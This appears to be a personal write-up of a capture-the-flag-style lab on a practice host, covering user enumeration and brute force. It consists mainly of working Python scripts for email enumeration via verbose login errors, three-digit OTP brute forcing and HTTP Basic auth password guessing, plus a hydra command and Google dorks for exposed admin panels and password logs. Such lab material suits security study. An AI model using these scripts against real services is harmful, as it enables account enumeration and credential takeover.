Enumeration & Brute Force
23 Dec 2025
• 3 min read
Common Places to Enumerate
- Registration page
- Password reset features
- Verbose Errors
- Data Breach Information
Enumeration using Verbose Message
Here we get a verbose message wither the user is registered or not so we can write a script to enumerate the emails
PYTHON
import requests
import sys
def check_email(email):
url = "http://enum.thm/labs/verbose_login/functions.php" # Location of the login function
headers = { # Get the headers from burpsuite
"Host": "enum.thm",
"User-Agent": "Mozilla/5.0 (X11; Linux aarch64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "application/json, text/javascript, */*; q=0.01",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": "http://enum.thm",
"Connection": "close",
"Referer": "http://enum.thm/labs/verbose_login/",
}
data = {
"username": email,
"password": "password", # Use a random password as we are only checking the email
"function": "login",
}
response = requests.post(url, headers=headers, data=data)
return response.json()
def enumerate_emails(email_file):
valid_emails = []
invalid_error = "Email does not exist" # Replace with specific message
with open(email_file, "r") as file:
emails = file.readlines()
for email in emails:
email = email.strip() # Remove any leading/trailing whitespace
if email:
response_json = check_email(email)
if (
response_json["status"] == "error"
and invalid_error in response_json["message"]
):
print(f"[INVALID] {email}")
else:
print(f"[VALID] {email}")
valid_emails.append(email)
return valid_emails
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python3 script.py <email_list_file>")
sys.exit(1)
email_file = sys.argv[1]
valid_emails = enumerate_emails(email_file)
print("\nValid emails found:")
for valid_email in valid_emails:
print(valid_email)Brute Forcing Weak OTP
The website uses a three digit OTP so I made this script to brute force it
PYTHON
import requests
def brute_force_token(url, headers, message):
tokens = range(100, 1001)
for token in tokens:
param = {"token": token}
response = requests.get(url, headers=headers, params=param)
resp_js = response.text
if message in resp_js:
continue
else:
print(f"Correct token is {token}")
break
if __name__ == "__main__":
url = "http://enum.thm/labs/predictable_tokens/reset_password.php"
headers = { # Replace headers from burpsuite
"Host": "enum.thm",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Cookie": "PHPSESSID=u8dk5d5rl4d85ogadgl3nruf73",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
}
invalid_message = "Invalid token."
brute_force_token(url, headers, invalid_message)Brute Force Basic HTTP Auth
Here there is a header that encodes the username and password in base64 so here is a script I wrote to brute force
PYTHON
import requests
import base64
import sys
def brute_force_password(url, headers, file_name):
"""Attempt to brute force HTTP Basic Authentication"""
with open(file_name, "r") as f:
passwords = f.read().strip().split("\n")
for password in passwords:
credentials = f"admin:{password}"
encoded = base64.b64encode(credentials.encode()).decode()
temp_headers = headers.copy()
temp_headers["Authorization"] = f"Basic {encoded}"
response = requests.get(url, headers=temp_headers)
if response.status_code == 200:
print(f"[SUCCESS] Password found: {password}")
print(f"Response: {response.text}")
return password
else:
continue
print("[FAILED] No valid password found in wordlist")
return None
if __name__ == "__main__":
url = "http://enum.thm/labs/basic_auth"
headers = {
"Host": "enum.thm",
"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:131.0) Gecko/20100101 Firefox/131.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Cookie": "PHPSESSID=u8dk5d5rl4d85ogadgl3nruf73",
"Upgrade-Insecure-Requests": "1",
"Priority": "u=0, i",
}
if len(sys.argv) > 1:
brute_force_password(url, headers, sys.argv[1])
else:
print("Usage: python3 g.py <password_file>")and here is the hydra command that do the same job
BASH
hydra -l admin -P /usr/share/wordlists/SecLists/Passwords/Common-Credentials/500-worst-passwords.txt http-get://enum.thm/labs/basic_authOSINT
- waybackurls tool
- Google dorks
- To find administrative panels:
site:example.com inurl:admin - To unearth log files with passwords:
filetype:log "password" site:example.com - To discover backup directories:
intitle:"index of" "backup" site:example.com
- To find administrative panels: